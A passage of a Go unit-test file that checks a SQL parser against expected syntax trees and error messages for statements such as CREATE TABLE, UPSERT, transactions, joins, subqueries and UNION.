nil,\n\t\t\t\t\t\twhere: &BinBoolExp{\n\t\t\t\t\t\t\top:    And,\n\t\t\t\t\t\t\tleft:  &CmpBoolExp{op: GE, left: &ColSelector{col: \"balance\"}, right: &Integer{val: 0}},\n\t\t\t\t\t\t\tright: &CmpBoolExp{op: EQ, left: &ColSelector{col: \"deleted_at\"}, right: &NullValue{t: AnyType}},\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\texpectedError: nil,\n\t\t},\n\t\t{\n\t\t\tinput:          \"INSERT INTO table1() VALUES (2, 'untitled')\",\n\t\t\texpectedOutput: nil,\n\t\t\texpectedError:  errors.New(\"syntax error: unexpected ')' at position 20\"),\n\t\t},\n\t\t{\n\t\t\tinput:          \"UPSERT INTO table1() VALUES (2, 'untitled')\",\n\t\t\texpectedOutput: nil,\n\t\t\texpectedError:  errors.New(\"syntax error: unexpected ')' at position 20\"),\n\t\t},\n\t\t{\n\t\t\tinput:          \"UPSERT INTO VALUES (2)\",\n\t\t\texpectedOutput: nil,\n\t\t\texpectedError:  errors.New(\"syntax error: unexpected VALUES at position 18\"),\n\t\t},\n\t}\n\n\tfor i, tc := range testCases {\n\t\tres, err := ParseSQLString(tc.input)\n\t\trequire.Equal(t, tc.expectedError, err, fmt.Sprintf(\"failed on iteration %d\", i))\n\n\t\tif tc.expectedError == nil {\n\t\t\trequire.Equal(t, tc.expectedOutput, res, fmt.Sprintf(\"failed on iteration %d\", i))\n\t\t}\n\t}\n}\n\nfunc TestStmtSeparator(t *testing.T) {\n\ttestCases := []struct {\n\t\tinput          string\n\t\texpectedOutput []SQLStmt\n\t\texpectedError  error\n\t}{\n\t\t{\n\t\t\tinput: \"CREATE TABLE table1 (id INTEGER, PRIMARY KEY id);\",\n\t\t\texpectedOutput: []SQLStmt{\n\t\t\t\t&CreateTableStmt{\n\t\t\t\t\ttable: \"table1\",\n\t\t\t\t\tcolsSpec: []*ColSpec{\n\t\t\t\t\t\t{colName: \"id\", colType: IntegerType},\n\t\t\t\t\t},\n\t\t\t\t\tpkColNames: []string{\"id\"},\n\t\t\t\t},\n\t\t\t},\n\t\t\texpectedError: nil,\n\t\t},\n\t\t{\n\t\t\tinput: \"CREATE TABLE table1 (id INTEGER, PRIMARY KEY id)\\n\",\n\t\t\texpectedOutput: []SQLStmt{\n\t\t\t\t&CreateTableStmt{\n\t\t\t\t\ttable: \"table1\",\n\t\t\t\t\tcolsSpec: []*ColSpec{\n\t\t\t\t\t\t{colName: \"id\", colType: IntegerType},\n\t\t\t\t\t},\n\t\t\t\t\tpkColNames: []string{\"id\"},\n\t\t\t\t},\n\t\t\t},\n\t\t\texpectedError: nil,\n\t\t},\n\t\t{\n\t\t\tinput: \"CREATE TABLE table1 (id INTEGER, PRIMARY KEY id)\\r\\n\",\n\t\t\texpectedOutput: []SQLStmt{\n\t\t\t\t&CreateTableStmt{\n\t\t\t\t\ttable: \"table1\",\n\t\t\t\t\tcolsSpec: []*ColSpec{\n\t\t\t\t\t\t{colName: \"id\", colType: IntegerType},\n\t\t\t\t\t},\n\t\t\t\t\tpkColNames: []string{\"id\"},\n\t\t\t\t},\n\t\t\t},\n\t\t\texpectedError: nil,\n\t\t},\n\t\t{\n\t\t\tinput: \"CREATE DATABASE db1; USE DATABASE db1;\",\n\t\t\texpectedOutput: []SQLStmt{\n\t\t\t\t&CreateDatabaseStmt{DB: \"db1\"},\n\t\t\t\t&UseDatabaseStmt{DB: \"db1\"},\n\t\t\t},\n\t\t\texpectedError: nil,\n\t\t},\n\t\t{\n\t\t\tinput: \"CREATE DATABASE db1; /* some comment here */ USE /* another comment here */ DATABASE db1\",\n\t\t\texpectedOutput: []SQLStmt{\n\t\t\t\t&CreateDatabaseStmt{DB: \"db1\"},\n\t\t\t\t&UseDatabaseStmt{DB: \"db1\"},\n\t\t\t},\n\t\t\texpectedError: nil,\n\t\t},\n\t\t{\n\t\t\tinput: \"CREATE DATABASE db1; USE DATABASE db1; USE DATABASE db1\",\n\t\t\texpectedOutput: []SQLStmt{\n\t\t\t\t&CreateDatabaseStmt{DB: \"db1\"},\n\t\t\t\t&UseDatabaseStmt{DB: \"db1\"},\n\t\t\t\t&UseDatabaseStmt{DB: \"db1\"},\n\t\t\t},\n\t\t\texpectedError: nil,\n\t\t},\n\t\t{\n\t\t\tinput:          \"CREATE DATABASE db1 USE DATABASE db1\",\n\t\t\texpectedOutput: nil,\n\t\t\texpectedError:  errors.New(\"syntax error: unexpected USE at position 23\"),\n\t\t},\n\t}\n\n\tfor i, tc := range testCases {\n\t\tres, err := ParseSQLString(tc.input)\n\t\trequire.Equal(t, tc.expectedError, err, fmt.Sprintf(\"failed on iteration %d\", i))\n\n\t\tif tc.expectedError == nil {\n\t\t\trequire.Equal(t, tc.expectedOutput, res, fmt.Sprintf(\"failed on iteration %d\", i))\n\t\t}\n\t}\n}\n\nfunc TestTxStmt(t *testing.T) {\n\ttestCases := []struct {\n\t\tinput          string\n\t\texpectedOutput []SQLStmt\n\t\texpectedError  error\n\t}{\n\t\t{\n\t\t\tinput: \"BEGIN TRANSACTION; UPSERT INTO table1 (id, label) VALUES (100, 'label1'); UPSERT INTO table2 (id) VALUES (10); ROLLBACK;\",\n\t\t\texpectedOutput: []SQLStmt{\n\t\t\t\t&BeginTransactionStmt{},\n\t\t\t\t&UpsertIntoStmt{\n\t\t\t\t\ttableRef: &tableRef{table: \"table1\"},\n\t\t\t\t\tcols:     []string{\"id\", \"label\"},\n\t\t\t\t\tds: &valuesDataSource{\n\t\t\t\t\t\trows: []*RowSpec{\n\t\t\t\t\t\t\t{Values: []ValueExp{&Integer{val: 100}, &Varchar{val: \"label1\"}}},\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\t&UpsertIntoStmt{\n\t\t\t\t\ttableRef: &tableRef{table: \"table2\"},\n\t\t\t\t\tcols:     []string{\"id\"},\n\t\t\t\t\tds: &valuesDataSource{\n\t\t\t\t\t\trows: []*RowSpec{\n\t\t\t\t\t\t\t{Values: []ValueExp{&Integer{val: 10}}},\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\t&RollbackStmt{},\n\t\t\t},\n\t\t\texpectedError: nil,\n\t\t},\n\t\t{\n\t\t\tinput: \"CREATE TABLE table1 (id INTEGER, label VARCHAR, PRIMARY KEY id); BEGIN TRANSACTION; UPSERT INTO table1 (id, label) VALUES (100, 'label1'); COMMIT;\",\n\t\t\texpectedOutput: []SQLStmt{\n\t\t\t\t&CreateTableStmt{\n\t\t\t\t\ttable: \"table1\",\n\t\t\t\t\tcolsSpec: []*ColSpec{\n\t\t\t\t\t\t{colName: \"id\", colType: IntegerType},\n\t\t\t\t\t\t{colName: \"label\", colType: VarcharType},\n\t\t\t\t\t},\n\t\t\t\t\tpkColNames: []string{\"id\"},\n\t\t\t\t},\n\t\t\t\t&BeginTransactionStmt{},\n\t\t\t\t&UpsertIntoStmt{\n\t\t\t\t\ttableRef: &tableRef{table: \"table1\"},\n\t\t\t\t\tcols:     []string{\"id\", \"label\"},\n\t\t\t\t\tds: &valuesDataSource{\n\t\t\t\t\t\trows: []*RowSpec{\n\t\t\t\t\t\t\t{Values: []ValueExp{&Integer{val: 100}, &Varchar{val: \"label1\"}}},\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\t&CommitStmt{},\n\t\t\t},\n\t\t\texpectedError: nil,\n\t\t},\n\t\t{\n\t\t\tinput: \"BEGIN TRANSACTION; UPDATE table1 SET label = 'label1' WHERE id = 100; COMMIT;\",\n\t\t\texpectedOutput: []SQLStmt{\n\t\t\t\t&BeginTransactionStmt{},\n\t\t\t\t&UpdateStmt{\n\t\t\t\t\ttableRef: &tableRef{table: \"table1\"},\n\t\t\t\t\tupdates: []*colUpdate{\n\t\t\t\t\t\t{col: \"label\", op: EQ, val: &Varchar{val: \"label1\"}},\n\t\t\t\t\t},\n\t\t\t\t\twhere: &CmpBoolExp{\n\t\t\t\t\t\top:    EQ,\n\t\t\t\t\t\tleft:  &ColSelector{col: \"id\"},\n\t\t\t\t\t\tright: &Integer{val: 100},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\t&CommitStmt{},\n\t\t\t},\n\t\t\texpectedError: nil,\n\t\t},\n\t\t{\n\t\t\tinput: \"BEGIN TRANSACTION; CREATE TABLE table1 (id INTEGER, label VARCHAR NOT NULL, PRIMARY KEY id); UPSERT INTO table1 (id, label) VALUES (100, 'label1'); COMMIT;\",\n\t\t\texpectedOutput: []SQLStmt{\n\t\t\t\t&BeginTransactionStmt{},\n\t\t\t\t&CreateTableStmt{\n\t\t\t\t\ttable: \"table1\",\n\t\t\t\t\tcolsSpec: []*ColSpec{\n\t\t\t\t\t\t{colName: \"id\", colType: IntegerType},\n\t\t\t\t\t\t{colName: \"label\", colType: VarcharType, notNull: true},\n\t\t\t\t\t},\n\t\t\t\t\tpkColNames: []string{\"id\"},\n\t\t\t\t},\n\t\t\t\t&UpsertIntoStmt{\n\t\t\t\t\ttableRef: &tableRef{table: \"table1\"},\n\t\t\t\t\tcols:     []string{\"id\", \"label\"},\n\t\t\t\t\tds: &valuesDataSource{\n\t\t\t\t\t\trows: []*RowSpec{\n\t\t\t\t\t\t\t{Values: []ValueExp{&Integer{val: 100}, &Varchar{val: \"label1\"}}},\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\t&CommitStmt{},\n\t\t\t},\n\t\t\texpectedError: nil,\n\t\t},\n\t}\n\n\tfor i, tc := range testCases {\n\t\tres, err := ParseSQLString(tc.input)\n\t\trequire.Equal(t, tc.expectedError, err, fmt.Sprintf(\"failed on iteration %d\", i))\n\n\t\tif tc.expectedError == nil {\n\t\t\trequire.Equal(t, tc.expectedOutput, res, fmt.Sprintf(\"failed on iteration %d\", i))\n\t\t}\n\t}\n}\n\nfunc TestSelectStmt(t *testing.T) {\n\tbs, _ := hex.DecodeString(\"AED0393F\")\n\n\ttestCases := []struct {\n\t\tinput          string\n\t\texpectedOutput []SQLStmt\n\t\texpectedError  error\n\t}{\n\t\t{\n\t\t\tinput: \"SELECT 1, true, 'test'\",\n\t\t\texpectedOutput: []SQLStmt{\n\t\t\t\t&SelectStmt{\n\t\t\t\t\ttargets: []TargetEntry{\n\t\t\t\t\t\t{Exp: &Integer{1}},\n\t\t\t\t\t\t{Exp: &Bool{true}},\n\t\t\t\t\t\t{Exp: &Varchar{\"test\"}},\n\t\t\t\t\t},\n\t\t\t\t\tds: &valuesDataSource{rows: []*RowSpec{{}}},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tinput: \"SELECT id, title FROM table1\",\n\t\t\texpectedOutput: []SQLStmt{\n\t\t\t\t&SelectStmt{\n\t\t\t\t\tdistinct: false,\n\t\t\t\t\ttargets: []TargetEntry{\n\t\t\t\t\t\t{Exp: &ColSelector{col: \"id\"}},\n\t\t\t\t\t\t{Exp: &ColSelector{col: \"title\"}},\n\t\t\t\t\t},\n\t\t\t\t\tds: &tableRef{table: \"table1\"},\n\t\t\t\t}},\n\t\t\texpectedError: nil,\n\t\t},\n\t\t{\n\t\t\tinput: \"SELECT id, title FROM table1 AS t1\",\n\t\t\texpectedOutput: []SQLStmt{\n\t\t\t\t&SelectStmt{\n\t\t\t\t\tdistinct: false,\n\t\t\t\t\ttargets: []TargetEntry{\n\t\t\t\t\t\t{Exp: &ColSelector{col: \"id\"}},\n\t\t\t\t\t\t{Exp: &ColSelector{col: \"title\"}},\n\t\t\t\t\t},\n\t\t\t\t\tds: &tableRef{table: \"table1\", as: \"t1\"},\n\t\t\t\t}},\n\t\t\texpectedError: nil,\n\t\t},\n\t\t{\n\t\t\tinput: \"SELECT t1.id, title FROM table1 t1\",\n\t\t\texpectedOutput: []SQLStmt{\n\t\t\t\t&SelectStmt{\n\t\t\t\t\tdistinct: false,\n\t\t\t\t\ttargets: []TargetEntry{\n\t\t\t\t\t\t{Exp: &ColSelector{table: \"t1\", col: \"id\"}},\n\t\t\t\t\t\t{Exp: &ColSelector{col: \"title\"}},\n\t\t\t\t\t},\n\t\t\t\t\tds: &tableRef{table: \"table1\", as: \"t1\"},\n\t\t\t\t}},\n\t\t\texpectedError: nil,\n\t\t},\n\t\t{\n\t\t\tinput: \"SELECT table1.id, title FROM table1 AS t1 WHERE payload >= x'AED0393F'\",\n\t\t\texpectedOutput: []SQLStmt{\n\t\t\t\t&SelectStmt{\n\t\t\t\t\tdistinct: false,\n\t\t\t\t\ttargets: []TargetEntry{\n\t\t\t\t\t\t{Exp: &ColSelector{table: \"table1\", col: \"id\"}},\n\t\t\t\t\t\t{Exp: &ColSelector{col: \"title\"}},\n\t\t\t\t\t},\n\t\t\t\t\tds: &tableRef{table: \"table1\", as: \"t1\"},\n\t\t\t\t\twhere: &CmpBoolExp{\n\t\t\t\t\t\top: GE,\n\t\t\t\t\t\tleft: &ColSelector{\n\t\t\t\t\t\t\tcol: \"payload\",\n\t\t\t\t\t\t},\n\t\t\t\t\t\tright: &Blob{val: bs},\n\t\t\t\t\t},\n\t\t\t\t}},\n\t\t\texpectedError: nil,\n\t\t},\n\t\t{\n\t\t\tinput: \"SELECT table1.id, title FROM table1 AS t1 WHERE id <> 1\",\n\t\t\texpectedOutput: []SQLStmt{\n\t\t\t\t&SelectStmt{\n\t\t\t\t\tdistinct: false,\n\t\t\t\t\ttargets: []TargetEntry{\n\t\t\t\t\t\t{Exp: &ColSelector{table: \"table1\", col: \"id\"}},\n\t\t\t\t\t\t{Exp: &ColSelector{col: \"title\"}},\n\t\t\t\t\t},\n\t\t\t\t\tds: &tableRef{table: \"table1\", as: \"t1\"},\n\t\t\t\t\twhere: &CmpBoolExp{\n\t\t\t\t\t\top: NE,\n\t\t\t\t\t\tleft: &ColSelector{\n\t\t\t\t\t\t\tcol: \"id\",\n\t\t\t\t\t\t},\n\t\t\t\t\t\tright: &Integer{val: 1},\n\t\t\t\t\t},\n\t\t\t\t}},\n\t\t\texpectedError: nil,\n\t\t},\n\t\t{\n\t\t\tinput: \"SELECT table1.id, title FROM table1 AS t1 WHERE id != 1\",\n\t\t\texpectedOutput: []SQLStmt{\n\t\t\t\t&SelectStmt{\n\t\t\t\t\tdistinct: false,\n\t\t\t\t\ttargets: []TargetEntry{\n\t\t\t\t\t\t{Exp: &ColSelector{table: \"table1\", col: \"id\"}},\n\t\t\t\t\t\t{Exp: &ColSelector{col: \"title\"}},\n\t\t\t\t\t},\n\t\t\t\t\tds: &tableRef{table: \"table1\", as: \"t1\"},\n\t\t\t\t\twhere: &CmpBoolExp{\n\t\t\t\t\t\top: NE,\n\t\t\t\t\t\tleft: &ColSelector{\n\t\t\t\t\t\t\tcol: \"id\",\n\t\t\t\t\t\t},\n\t\t\t\t\t\tright: &Integer{val: 1},\n\t\t\t\t\t},\n\t\t\t\t}},\n\t\t\texpectedError: nil,\n\t\t},\n\t\t{\n\t\t\tinput: \"SELECT DISTINCT id, time, name FROM table1 WHERE country = 'US' AND time <= NOW() AND name = @pname\",\n\t\t\texpectedOutput: []SQLStmt{\n\t\t\t\t&SelectStmt{\n\t\t\t\t\tdistinct: true,\n\t\t\t\t\ttargets: []TargetEntry{\n\t\t\t\t\t\t{Exp: &ColSelector{col: \"id\"}},\n\t\t\t\t\t\t{Exp: &ColSelector{col: \"time\"}},\n\t\t\t\t\t\t{Exp: &ColSelector{col: \"name\"}},\n\t\t\t\t\t},\n\t\t\t\t\tds: &tableRef{table: \"table1\"},\n\t\t\t\t\twhere: &BinBoolExp{\n\t\t\t\t\t\top: And,\n\t\t\t\t\t\tleft: &BinBoolExp{\n\t\t\t\t\t\t\top: And,\n\t\t\t\t\t\t\tleft: &CmpBoolExp{\n\t\t\t\t\t\t\t\top: EQ,\n\t\t\t\t\t\t\t\tleft: &ColSelector{\n\t\t\t\t\t\t\t\t\tcol: \"country\",\n\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t\tright: &Varchar{val: \"US\"},\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\tright: &CmpBoolExp{\n\t\t\t\t\t\t\t\top: LE,\n\t\t\t\t\t\t\t\tleft: &ColSelector{\n\t\t\t\t\t\t\t\t\tcol: \"time\",\n\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t\tright: &FnCall{fn: \"now\"},\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t},\n\t\t\t\t\t\tright: &CmpBoolExp{\n\t\t\t\t\t\t\top: EQ,\n\t\t\t\t\t\t\tleft: &ColSelector{\n\t\t\t\t\t\t\t\tcol: \"name\",\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\tright: &Param{id: \"pname\"},\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t}},\n\t\t\texpectedError: nil,\n\t\t},\n\t\t{\n\t\t\tinput: \"SELECT id, title, year FROM table1 ORDER BY title ASC, year DESC\",\n\t\t\texpectedOutput: []SQLStmt{\n\t\t\t\t&SelectStmt{\n\t\t\t\t\tdistinct: false,\n\t\t\t\t\ttargets: []TargetEntry{\n\t\t\t\t\t\t{Exp: &ColSelector{col: \"id\"}},\n\t\t\t\t\t\t{Exp: &ColSelector{col: \"title\"}},\n\t\t\t\t\t\t{Exp: &ColSelector{col: \"year\"}},\n\t\t\t\t\t},\n\t\t\t\t\tds: &tableRef{table: \"table1\"},\n\t\t\t\t\torderBy: []*OrdExp{\n\t\t\t\t\t\t{exp: &ColSelector{col: \"title\"}},\n\t\t\t\t\t\t{exp: &ColSelector{col: \"year\"}, descOrder: true},\n\t\t\t\t\t},\n\t\t\t\t}},\n\t\t\texpectedError: nil,\n\t\t},\n\t\t{\n\t\t\tinput: \"SELECT id, name, table2.status FROM table1 INNER JOIN table2 ON table1.id = table2.id WHERE name = 'John' ORDER BY name DESC\",\n\t\t\texpectedOutput: []SQLStmt{\n\t\t\t\t&SelectStmt{\n\t\t\t\t\tdistinct: false,\n\t\t\t\t\ttargets: []TargetEntry{\n\t\t\t\t\t\t{Exp: &ColSelector{col: \"id\"}},\n\t\t\t\t\t\t{Exp: &ColSelector{col: \"name\"}},\n\t\t\t\t\t\t{Exp: &ColSelector{table: \"table2\", col: \"status\"}},\n\t\t\t\t\t},\n\t\t\t\t\tds: &tableRef{table: \"table1\"},\n\t\t\t\t\tjoins: []*JoinSpec{\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tjoinType: InnerJoin,\n\t\t\t\t\t\t\tds:       &tableRef{table: \"table2\"},\n\t\t\t\t\t\t\tcond: &CmpBoolExp{\n\t\t\t\t\t\t\t\top: EQ,\n\t\t\t\t\t\t\t\tleft: &ColSelector{\n\t\t\t\t\t\t\t\t\ttable: \"table1\",\n\t\t\t\t\t\t\t\t\tcol:   \"id\",\n\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t\tright: &ColSelector{\n\t\t\t\t\t\t\t\t\ttable: \"table2\",\n\t\t\t\t\t\t\t\t\tcol:   \"id\",\n\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t\twhere: &CmpBoolExp{\n\t\t\t\t\t\top:    EQ,\n\t\t\t\t\t\tleft:  &ColSelector{col: \"name\"},\n\t\t\t\t\t\tright: &Varchar{val: \"John\"},\n\t\t\t\t\t},\n\t\t\t\t\torderBy: []*OrdExp{\n\t\t\t\t\t\t{exp: &ColSelector{col: \"name\"}, descOrder: true},\n\t\t\t\t\t},\n\t\t\t\t}},\n\t\t\texpectedError: nil,\n\t\t},\n\t\t{\n\t\t\tinput: \"SELECT id, name, table2.status FROM table1 JOIN table2 ON table1.id = table2.id WHERE name = 'John' ORDER BY name DESC\",\n\t\t\texpectedOutput: []SQLStmt{\n\t\t\t\t&SelectStmt{\n\t\t\t\t\tdistinct: false,\n\t\t\t\t\ttargets: []TargetEntry{\n\t\t\t\t\t\t{Exp: &ColSelector{col: \"id\"}},\n\t\t\t\t\t\t{Exp: &ColSelector{col: \"name\"}},\n\t\t\t\t\t\t{Exp: &ColSelector{table: \"table2\", col: \"status\"}},\n\t\t\t\t\t},\n\t\t\t\t\tds: &tableRef{table: \"table1\"},\n\t\t\t\t\tjoins: []*JoinSpec{\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tjoinType: InnerJoin,\n\t\t\t\t\t\t\tds:       &tableRef{table: \"table2\"},\n\t\t\t\t\t\t\tcond: &CmpBoolExp{\n\t\t\t\t\t\t\t\top: EQ,\n\t\t\t\t\t\t\t\tleft: &ColSelector{\n\t\t\t\t\t\t\t\t\ttable: \"table1\",\n\t\t\t\t\t\t\t\t\tcol:   \"id\",\n\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t\tright: &ColSelector{\n\t\t\t\t\t\t\t\t\ttable: \"table2\",\n\t\t\t\t\t\t\t\t\tcol:   \"id\",\n\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t\twhere: &CmpBoolExp{\n\t\t\t\t\t\top:    EQ,\n\t\t\t\t\t\tleft:  &ColSelector{col: \"name\"},\n\t\t\t\t\t\tright: &Varchar{val: \"John\"},\n\t\t\t\t\t},\n\t\t\t\t\torderBy: []*OrdExp{\n\t\t\t\t\t\t{exp: &ColSelector{col: \"name\"}, descOrder: true},\n\t\t\t\t\t},\n\t\t\t\t}},\n\t\t\texpectedError: nil,\n\t\t},\n\t\t{\n\t\t\tinput: \"SELECT id, name, table2.status FROM table1 LEFT JOIN table2 ON table1.id = table2.id WHERE name = 'John' ORDER BY name DESC\",\n\t\t\texpectedOutput: []SQLStmt{\n\t\t\t\t&SelectStmt{\n\t\t\t\t\tdistinct: false,\n\t\t\t\t\ttargets: []TargetEntry{\n\t\t\t\t\t\t{Exp: &ColSelector{col: \"id\"}},\n\t\t\t\t\t\t{Exp: &ColSelector{col: \"name\"}},\n\t\t\t\t\t\t{Exp: &ColSelector{table: \"table2\", col: \"status\"}},\n\t\t\t\t\t},\n\t\t\t\t\tds: &tableRef{table: \"table1\"},\n\t\t\t\t\tjoins: []*JoinSpec{\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tjoinType: LeftJoin,\n\t\t\t\t\t\t\tds:       &tableRef{table: \"table2\"},\n\t\t\t\t\t\t\tcond: &CmpBoolExp{\n\t\t\t\t\t\t\t\top: EQ,\n\t\t\t\t\t\t\t\tleft: &ColSelector{\n\t\t\t\t\t\t\t\t\ttable: \"table1\",\n\t\t\t\t\t\t\t\t\tcol:   \"id\",\n\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t\tright: &ColSelector{\n\t\t\t\t\t\t\t\t\ttable: \"table2\",\n\t\t\t\t\t\t\t\t\tcol:   \"id\",\n\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t\twhere: &CmpBoolExp{\n\t\t\t\t\t\top:    EQ,\n\t\t\t\t\t\tleft:  &ColSelector{col: \"name\"},\n\t\t\t\t\t\tright: &Varchar{val: \"John\"},\n\t\t\t\t\t},\n\t\t\t\t\torderBy: []*OrdExp{\n\t\t\t\t\t\t{exp: &ColSelector{col: \"name\"}, descOrder: true},\n\t\t\t\t\t},\n\t\t\t\t}},\n\t\t\texpectedError: nil,\n\t\t},\n\t\t{\n\t\t\tinput: \"SELECT id, title FROM (SELECT col1 AS id, col2 AS title FROM table2 LIMIT 100 OFFSET 1) LIMIT 10\",\n\t\t\texpectedOutput: []SQLStmt{\n\t\t\t\t&SelectStmt{\n\t\t\t\t\tdistinct: false,\n\t\t\t\t\ttargets: []TargetEntry{\n\t\t\t\t\t\t{Exp: &ColSelector{col: \"id\"}},\n\t\t\t\t\t\t{Exp: &ColSelector{col: \"title\"}},\n\t\t\t\t\t},\n\t\t\t\t\tds: &SelectStmt{\n\t\t\t\t\t\tdistinct: false,\n\t\t\t\t\t\ttargets: []TargetEntry{\n\t\t\t\t\t\t\t{Exp: &ColSelector{col: \"col1\"}, As: \"id\"},\n\t\t\t\t\t\t\t{Exp: &ColSelector{col: \"col2\"}, As: \"title\"},\n\t\t\t\t\t\t},\n\t\t\t\t\t\tds:     &tableRef{table: \"table2\"},\n\t\t\t\t\t\tlimit:  &Integer{val: 100},\n\t\t\t\t\t\toffset: &Integer{val: 1},\n\t\t\t\t\t},\n\t\t\t\t\tlimit: &Integer{val: 10},\n\t\t\t\t}},\n\t\t\texpectedError: nil,\n\t\t},\n\t\t{\n\t\t\tinput: \"SELECT id, name, time FROM table1 WHERE time >= '20210101 00:00:00.000' AND time < '20210211 00:00:00.000'\",\n\t\t\texpectedOutput: []SQLStmt{\n\t\t\t\t&SelectStmt{\n\t\t\t\t\tdistinct: false,\n\t\t\t\t\ttargets: []TargetEntry{\n\t\t\t\t\t\t{Exp: &ColSelector{col: \"id\"}},\n\t\t\t\t\t\t{Exp: &ColSelector{col: \"name\"}},\n\t\t\t\t\t\t{Exp: &ColSelector{col: \"time\"}},\n\t\t\t\t\t},\n\t\t\t\t\tds: &tableRef{table: \"table1\"},\n\t\t\t\t\twhere: &BinBoolExp{\n\t\t\t\t\t\top: And,\n\t\t\t\t\t\tleft: &CmpBoolExp{\n\t\t\t\t\t\t\top: GE,\n\t\t\t\t\t\t\tleft: &ColSelector{\n\t\t\t\t\t\t\t\tcol: \"time\",\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\tright: &Varchar{val: \"20210101 00:00:00.000\"},\n\t\t\t\t\t\t},\n\t\t\t\t\t\tright: &CmpBoolExp{\n\t\t\t\t\t\t\top: LT,\n\t\t\t\t\t\t\tleft: &ColSelector{\n\t\t\t\t\t\t\t\tcol: \"time\",\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\tright: &Varchar{val: \"20210211 00:00:00.000\"},\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t}},\n\t\t\texpectedError: nil,\n\t\t},\n\t\t{\n\t\t\tinput: \"SELECT json_data->'info'->'address'->'street' FROM table1\",\n\t\t\texpectedOutput: []SQLStmt{\n\t\t\t\t&SelectStmt{\n\t\t\t\t\tdistinct: false,\n\t\t\t\t\ttargets: []TargetEntry{\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tExp: &JSONSelector{\n\t\t\t\t\t\t\t\tColSelector: &ColSelector{col: \"json_data\"},\n\t\t\t\t\t\t\t\tfields:      []string{\"info\", \"address\", \"street\"},\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t\tds: &tableRef{table: \"table1\"},\n\t\t\t\t}},\n\t\t\texpectedError: nil,\n\t\t},\n\t\t{\n\t\t\tinput: \"SELECT 1, (balance * balance) + 1, amount % 2, data::JSON FROM table1\",\n\t\t\texpectedOutput: []SQLStmt{\n\t\t\t\t&SelectStmt{\n\t\t\t\t\tdistinct: false,\n\t\t\t\t\ttargets: []TargetEntry{\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tExp: &Integer{\n\t\t\t\t\t\t\t\tval: int64(1),\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t},\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tExp: &NumExp{\n\t\t\t\t\t\t\t\top: ADDOP,\n\t\t\t\t\t\t\t\tleft: &NumExp{\n\t\t\t\t\t\t\t\t\top:    MULTOP,\n\t\t\t\t\t\t\t\t\tleft:  &ColSelector{col: \"balance\"},\n\t\t\t\t\t\t\t\t\tright: &ColSelector{col: \"balance\"},\n\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t\tright: &Integer{val: int64(1)},\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t},\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tExp: &NumExp{\n\t\t\t\t\t\t\t\top:    MODOP,\n\t\t\t\t\t\t\t\tleft:  &ColSelector{col: \"amount\"},\n\t\t\t\t\t\t\t\tright: &Integer{val: int64(2)},\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t},\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tExp: &Cast{val: &ColSelector{col: \"data\"}, t: JSONType},\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t\tds: &tableRef{table: \"table1\"},\n\t\t\t\t}},\n\t\t\texpectedError: nil,\n\t\t},\n\t}\n\n\tfor i, tc := range testCases {\n\t\tres, err := ParseSQLString(tc.input)\n\t\trequire.Equal(t, tc.expectedError, err, fmt.Sprintf(\"failed on iteration %d\", i))\n\n\t\tif tc.expectedError == nil {\n\t\t\trequire.Equal(t, tc.expectedOutput, res, fmt.Sprintf(\"failed on iteration %d\", i))\n\t\t}\n\t}\n}\n\nfunc TestSelectUnionStmt(t *testing.T) {\n\ttestCases := []struct {\n\t\tinput          string\n\t\texpectedOutput []SQLStmt\n\t\texpectedError  error\n\t}{\n\t\t{\n\t\t\tinput: \"SELECT id, title FROM table1 UNION SELECT id, title FROM table1\",\n\t\t\texpectedOutput: []SQLStmt{\n\t\t\t\t&UnionStmt{\n\t\t\t\t\tdistinct: true,\n\t\t\t\t\tleft: &SelectStmt{\n\t\t\t\t\t\tdistinct: false,\n\t\t\t\t\t\ttargets: []TargetEntry{\n\t\t\t\t\t\t\t{Exp: &ColSelector{col: \"id\"}},\n\t\t\t\t\t\t\t{Exp: &ColSelector{col: \"title\"}},\n\t\t\t\t\t\t},\n\t\t\t\t\t\tds: &tableRef{table: \"table1\"},\n\t\t\t\t\t},\n\t\t\t\t\tright: 